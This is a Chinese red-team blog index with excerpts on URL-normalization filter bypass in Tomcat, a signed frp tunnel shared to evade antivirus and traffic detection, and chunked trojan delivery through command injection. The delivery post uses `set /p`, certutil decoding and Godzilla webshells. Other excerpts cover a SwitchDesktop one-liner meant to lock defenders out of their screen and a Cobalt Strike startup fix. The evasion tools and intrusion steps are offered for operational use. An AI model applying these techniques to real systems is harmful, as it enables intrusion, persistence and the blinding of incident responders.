在实战下利用URL规范化绕过限制

背景 去年杭州绿盟面试有人问了关于拦截特定URL端点的问题,当时没怎么去研究,就答了个tomcat路由特性。现在回来看看发现本质上所有tricks是URL规范化导致的差异绕过,就决定研究和复习一下。 什么是URL规范化 在 Web 世界中,统一的工作标准通常由 IETF (Internet Engineering Task Force) 通过发布 RFC (Request for Comments) 文档来定义。RFC 是互联网标准的基础,涵盖了从网络协议到系统设计的各个方面。 当然这些只是建议和草案,具体的实现需要依靠各种框架和库,又由于为了兼容不同平台和框架,框架本身会对某些部分进行规范化处理,这就导致了一个请求可以通过复杂的变形来达到绕过各种限制 Requset 请求流程 这里我拿tomcat举例子,实际上很多web中间件都会进行url规范化,web世界比想象中要灵活的多 在tomcat中,url的解析受到CoyoteAdapter的parsePathParameters()和normalize()两个函数: 阅读源码分析一下: protected void parsePathParameters(org.apache.coyote.Request req, Request request) { // Process in bytes (this is default format so this is normally a NO-OP req.decodedURI().toBytes(); ByteChunk uriBC = req.decodedURI().getByteChunk(); // The first character must always be '/' so start search at position 1. // If the first character is ';' the URI will be rejected at the // normalization stage int semicolon = uriBC....

June 9, 2024 · 5 min · Theme PaperMod

挖掘的带白签名的Frp

背景 这两天想挖个64位的白文件自己用,结果发现个sohu的带签名的frp,对一些师傅可能有用,就决定分享出来,我的博客名气还比较小,应该能用好几年,当然指不定有公众号看到转了我的文章就被杀毒干掉了 签名情况 frp是一个高性能的内网穿透工具,由于它的高性能稳定经常被国内的红队渗透用于攻防演练,也导致了被很多杀毒加入病毒库,使用这个带签名的frp即可规避所有杀软和流量感知 验证使用 看看版本,发现有点老了: 找一个版本接近的,我这里为了规避tls用的v0.38.0服务端,加上配置看看效果: 测试看看能不能正常工作: 完美,一切工作正常 流量分析 frp是有tls握手特征的,低版本没办法通过配置文件去规避,稍微厉害一点的防火墙都能识别出来特征拦截,更别说态势感知了,高版本可以规避,一开始我以为必须匹配版本,后面发现低版本的客户端是可以和高版本的服务端一起用的,导致这些特征完全消失了。 wireshark抓流量看看这些,看到红色框框版本交换了吗? 加上这两个disable_custom_tls_first_byte和tls_enable [common] token = yuzusoft0721 disable_custom_tls_first_byte = true server_addr = 192.168.6.134 server_port = 7000 tls_enable = true [socks5] remote_port = 5444 plugin = socks5 改配置之后也啥看不出来,全加密了,神仙应该也没办法分析这些流量: 总结与思考 看起来大公司的签名给一些有用的工具进行的签名,也许有一些更广泛的工具会签名,我注意到很多游戏开发会有带签名的内存dump工具,只要在工作的足够久,啥奇怪的工具都会见识到。最后,本来想自己用,但是我的互联网精神告诉我应该要分享出来,经过3分钟的思想斗争,我想自己没什么贡献也应该做一点绵薄的贡献,工具和来源地安装包已经上传github,地址 https://github.com/kaliworld/whitefrp :这几天就出发去魔都了,祝我自己好运!

May 14, 2024 · 1 min · Theme PaperMod

高度受限的命令执行利用思路

最近在家很沮丧,来回面试好几家,大公司有些问题还能问到点子上,小公司问的大部分都是一些奇葩没水平的问题,问1+1=多少让爱因斯坦解答不一样也是2,这种类型的问题搞得我心情不好,有点学不进东西,之前拖欠了太多技术债务也没有解决,打算先从小的问题开始慢慢解决 命令执行辅助脚本编写 之前遇到命令执行比较复杂,苛刻条件越来越多,大部分都不了了放弃利用了。现在有空重新弄一下,我把这些情况分为windows linux,有无回显,是否DNS出网,命令执行位置GET或POST,是否可写shell,权限高低细分下来64种情况,一半都是比较简单就不写了 测试环境搭建 细分这么多情况搭建环境特别麻烦,不过linux环境直接用vulhub项目拉起漏洞复现环境测试,windows我这里直接就用的之前的虚拟机+向日葵漏洞 Windows 有回显总体来说还舒服: 有回显出网 适用于certutil无法直接下载或者杀毒拦截严重的情况,y4er大佬在先知已经写过这个了 powershell -c "'a' | Out-File C:\1.txt -Append" 不过我觉得他的太慢了,文件太大的时候慢的很,看其他人说echo,其实在windows上echo并不好用我自己找了一下替代echo的方案,利用set命令就可以解决echo会追加换行的问题 <nul set /p "=Hello" <nul set /p "=Hello">output.txt 解决这个问题就可以使用多线程并发快速落地文件了,之后就可以切割我们的木马,之后base64编码、url编码解决传输问题,编写完成脚本之后会生成两个copy命令辅助我们在不同Get和post下还原: 脚本切割了51次,生成了comeout.txt,用这个就和用暴力破解的字典一样直接burp导入就好了 勾上url编码 攻击结束: 之后是还原文件: certutil.exe+-f+-decode+c:\test\§output§.txt+c:\test\§test§.bin 之后利用脚本生成的命令还原校验hash,不出一分钟攻击就结束了 清理垃圾: del *.bin *.txt 有回显不出网 这部分主要还是不出网利用思路一样,搭建HTTP的正向webshell就可以继续攻击内网了,可以先写一个一句话木马,之后再上传HTTP正向代理脚本 寻找web目录,可以找个网站特定的js或者图片 dir /s /b C:\web.config 如果不是web服务命令执行,权限高可以直接一条命令开启IIS的web服务器,直接写入默认的IIS目录C:\inetpub\wwwroot,估计还是内网用的多,如果你够疯狂,权限不够去切割exp去提权,熟悉了exp搞起来也不难,就是很麻烦,因为很多提权的exp用起来都是要手动修改的,没有超级大的团队基本上没有这个时间成本: net start W3SVC 写入一句话,老样子base64和url编码,我用的哥斯拉,哥斯拉的马没有空格方便: 解码链接: 可以上线操作了: 默认IIS并没有装上,可以一条命令装上 Install-WindowsFeature -Name Web-Server -IncludeManagementTools 或者 Install-WindowsFeature Web-Server Install-WindowsFeature Web-Default-Doc Install-WindowsFeature Web-Dir-Browsing Install-WindowsFeature Web-Http-Errors Install-WindowsFeature Web-Static-Content Install-WindowsFeature Web-Http-Redirect Install-WindowsFeature Web-Http-Logging Install-WindowsFeature Web-Custom-Logging Install-WindowsFeature Web-Log-Libraries Install-WindowsFeature Web-Request-Monitor Install-WindowsFeature Web-Http-Tracing Install-WindowsFeature Web-Stat-Compression Install-WindowsFeature Web-Filtering Install-WindowsFeature Web-Basic-Auth Install-WindowsFeature Web-Digest-Auth Install-WindowsFeature Web-IP-Security Install-WindowsFeature Web-Url-Auth Install-WindowsFeature Web-Windows-Auth Install-WindowsFeature Web-Net-Ext45 Install-WindowsFeature Web-Asp-Net45 Install-WindowsFeature Web-WebSockets Install-WindowsFeature Web-Mgmt-Console Install-WindowsFeature Web-Scripting-Tools Install-WindowsFeature Web-Mgmt-Service 无回显出网 闭着眼睛拉马子就行,要写webshell也行。http可以cmd验证一下,dns有点麻烦,window没办法直接拼接到域名上,遇到中文路径就行不通,就没写了...

May 1, 2024 · 2 min · Theme PaperMod

一行代码物理致盲蓝队

昨天我在学习反调试,参考https://anti-debug.checkpoint.com/techniques/interactive.html这个大佬写的,这是一个窗口切换代码 BOOL Switch() { HDESK hNewDesktop = CreateDesktopA( "test", NULL, NULL, 0, DESKTOP_CREATEWINDOW | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP, NULL); if (!hNewDesktop) return FALSE; return SwitchDesktop(hNewDesktop); } 编译之后以运行,整个物理机就gg了,全白屏,为了演示效果大概像这样,不知道为什么虚拟机是黑的,不过效果都一样: 据我所知,一旦进入这种窗口切换模式,外面的蓝队想返回桌面变得近乎不可能,虽然后台的程序一切正常,不过除非危机关头,差一点到核心内网,要擦除工具后门遗留的数据等等,不要使用。 排查思考 目前来说只有重启系统才能恢复到正常,不过有些APT勒索组织要是把这玩意加入进启动项,那就是噩梦的开始了,物理机一般用F8可以进入安全启动模式,安全启动模式只会加载系统核心的组件,方便我们排查这类恶意的程序,但是虚拟机似乎没有很好的办法进入安全启动模式,按照官方文档F8依然没办法进去,一般我们要登陆进去才能去启动安全模式,但是登陆进去瞬间黑屏的话非常难受 其他可能都方法 一般企业可能有下方执行命令的系统,可以直接下发命令去删除这类启动项计划任务,或者这台虚拟机不止一个账户,用其他账户登陆也可能不受影响,也直接利用135、445端口的那种横向技巧也能登陆进来,不过现在就3389开着多似乎也不是一个好主意。。。。 完

April 19, 2024 · 1 min · Theme PaperMod

解决cobaltstrike启动的空指针错误

背景 某天上午虚拟机突然卡死崩溃,再次启动我的cobaltstrike,运行发现报java空指针错误,搞了一上午也没找到原因,下午睡觉起来找到了是颜色设置的问题 错误和解决 报错内容大概是这样的: java.lang.NumberFormatException during cortana bridge: &openEventLog [Aggressor Script Event Queue]: Zero length string java.lang.NumberFormatException: Zero length string at java.base/java.lang.Integer.decode (Integer.java:1401) at java.desktop/java.awt.Color.decode(Color.java:729) at aggressor.Prefs. getColor(Unknown Source) at console.StatusBar.<init>(Unknown Source) at console.Console .<init>(Unknown Source) at console.ActivityConsole.<init>(Unknown Source) at aggressor.windows.EventLog.<init>(Unknown Source) at aggressor.bridges.AggressorBridge.evaluate(Unknown Source) at cortana.SafeFunction.evaluate(Unknown Source) at sleep.engine.CallRequest$FunctionCallRequest.execute(Unknown Source) at sleep.engine.CallRequest.CallFunction(Unknown Source) at sleep.engine.atoms.Call.evaluate(Unknown Source) at sleep.engine.Block.evaluate(Unknown Source) at sleep.engine.Block.evaluate (Unknown Source) at sleep.bridges.SleepClosure.evaluate(Unknown Source) at sleep.engine.CallRequest$ClosureCallRequest.execute(Unknown Source) at sleep....

March 30, 2024 · 1 min · Theme PaperMod